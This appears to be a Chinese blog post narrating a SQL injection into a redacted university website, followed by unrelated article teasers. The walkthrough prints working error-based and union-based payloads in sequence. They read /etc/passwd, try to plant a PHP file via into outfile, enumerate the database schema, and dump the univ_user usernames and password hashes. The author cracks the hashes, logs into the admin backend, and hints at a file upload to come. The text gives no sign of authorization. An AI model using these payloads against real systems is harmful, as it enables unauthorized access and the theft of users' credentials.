一次SQL注入深入利用

ops/2024/11/28 19:32:21/

1. 在寻找某处的资产时找到一个查询的页面:

https://xxxxxxxxxxx/index.php/all

随便查询一下,然后抓包:

测试发现这里存在注入:

由于有报错信息,首先考虑报错注入:

Poc: '+and+updatexml(0x7e,concat(0x7e,database()),0x7e)='1

这里看看是什么用户:

root@localhost用户,权限还挺大,由于没有waf,试试看能不能读取文件,这里已经提前测试过是linux系统了,所以尝试读取/etc/passwd文件:

Exp: '+and+updatexml(0x7e,concat(0x7e,load_file('/etc/passwd')),0x7e)='1

(load_file()函数你可以把它看成和user()或者database()函数差不多的用法,可以直接用,只是比他们多一个括号里的参数而已)

发现读取成功,但是这里由于报错函数可显示的最大长度有限,并不能完整的显示出来,这里有思路就是string函数去分段截取,一次截取一点,这样可以,但是太麻烦,也不知道这文件到底有多长)思来想去,试了好久才想起来要不直接用联合查询?虽然这里报了错误信息,但不代表没有联合查询的注入嘛,

所以先试试看能不能显示出来,

Poc: '+order+by+10--+

先最大长度的去试试,看返回几位,最后发现,返回8位:

于是我开始构造exp:

'+union+select+1,2,3,4,5,6,7,8--+

这里有点不一样,就算前面为真也一样的会全部显示,所以不需要可以去把前面弄为假。

于是在知道显示位置后,开始读取文件:(这里先把文件转换成十六进制编码,方便读取)

Exp:'+union+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--+

可以发现已经全部读取成功:

既然有读的权限,那也许有写的权限呢?

于是尝试一下写入,但是有个问题,写道哪里呢?

突然想起之间报错注入好像出现过一个php路径:

/home/csg/university/controllers/all.php

这个目录,我可以先随便试试写入一下,看这个能否写入,如果可以在后续利用,于是:

Exp: '+union+select+1,2,3,4,5,6,7,8+into+outfile+"/home/csg/university/controllers/abc.php"--+

这里尝试在那个位置写个abc.php文件,发现写入失败,那没办法了。

但是我心有不甘,要不就查出他的账户密码?

于是查一下他的所有数据库

Exp:

'+union+select+1,2,group_concat(schema_name),4,5,6,7,8+from+information_schema.schemata--+

好像没啥特点,还是看看当前数据库下的东西吧

然后找一下当前数据库试试:

Exp:

'+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+

看到后面的univ_user了嘛,感觉有点像用户列表,查看一下:

Exp:

'+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_schema=database()+and+table_name='univ_user'--+

找到了username和password,于是看看:

Exp:

'+union+select+1,2,group_concat(concat_ws(':',username,password)),4,5,6,7,8+from+college.univ_user--+

然后拿去解密,我猜应该是MD5加密,试试运气能不能解出来:

哈哈,功夫不负有心人,直接拿下了,于是找到该网站后台:

https://zzzzzzzzzzzzzzzzzzzzz/index.php/login

输入得到的账户密码:

成功登陆:

哈哈,千辛万苦,万苦千辛。终于进来了。后续就是文件上传了。属于私密内容了;哈哈。


http://www.ppmy.cn/ops/137450.html

相关文章

计算机网络----基本概念

基本概念 在这一章从整体上介绍计算机网络的概况, 为后续的学习搭建起整体的框架; 介绍计算机网络中的基础术语和概念; 什么是因特网 『 因特网 』是一个世界范围内互联了数以亿计的计算设备的计算机网络; 因特网具体构成 因特网互联了数以亿计的计算设备, 这些设备被称为…

【软考速通笔记】系统架构设计师⑤——软件工程基础知识

文章目录 一、前言二、基础知识点2.1 软件危机2.2 软件生命周期 三、软件过程模型(论文)3.1 瀑布模型3.2 原型模型3.3 螺旋模型3.4 敏捷模型3.5 软件统一过程模型3.6 软件成熟度模型3.7 软件成熟度模型集成 四、需求工程五、软件测试5.1 根据程序执行状态…

QT 实现窗口关闭动画

1.实现效果 两种关闭窗口动画效果。 下坠式关闭动画。 中心式关闭动画 2.实现思路 创建了两个动画并行执行,一个是控制窗口尺寸的动画,一个是控制透明度的动画。 先创建一个closeAnimation动画,然后创建opacityAnimation动画,创建一个QParallelAnimationGroup并行动画…

房屋出租出售预约系统支持微信小程序+H5+APP

核心功能有:新盘销售、房屋租赁、地图找房、小区找房,地铁找房等方式。 地图找房:通过地图标注查看附近房源,方便用户根据地理位置查找合适的房产。二手房资讯:提供租房及二手房市场的相关资讯,帮助用户了…

【系统架构设计师】真题论文: 论非功能性需求对企业应用架构设计的影响(包括解题思路和素材)

更多内容请见: 备考系统架构设计师-专栏介绍和目录 文章目录 真题题目(2014年 试题1)解题思路论文素材参考非功能性需求的主要类型非功能性需求对企业应用架构设计的影响真题题目(2014年 试题1) 企业应用架构(Enterprise Application Architecture) 描述了企业 IT 系统的…

建造者模式Builder——优雅的使用姿势

在面向对象设计中,建造者模式(Builder Pattern) 是一种非常经典的设计模式,特别适用于需要构造复杂对象的场景。Lombok 提供的 Builder 注解极大简化了 Builder 模式的实现,而 toBuilder true 则进一步增强了它的灵活…

二叉树:堆的建立和应用

在建立堆之前,我们要知道什么是树和二叉树 树 树是一种非线性的数据结构,它是由n(n>0)个结点组成的一个具有层次关系的集合,之所以把它叫做树,是因为它长得像一棵倒挂的树,也就是根在上面&…

微信小程序蓝牙writeBLECharacteristicValue写入数据返回成功后,实际硬件内信息查询未存储?

问题:连接蓝牙后,调用小程序writeBLECharacteristicValue,返回传输数据成功,查询硬件响应发现没有存储进去? 解决:一直以为是这个write方法的问题,找了很多相关贴,后续进行硬件日志…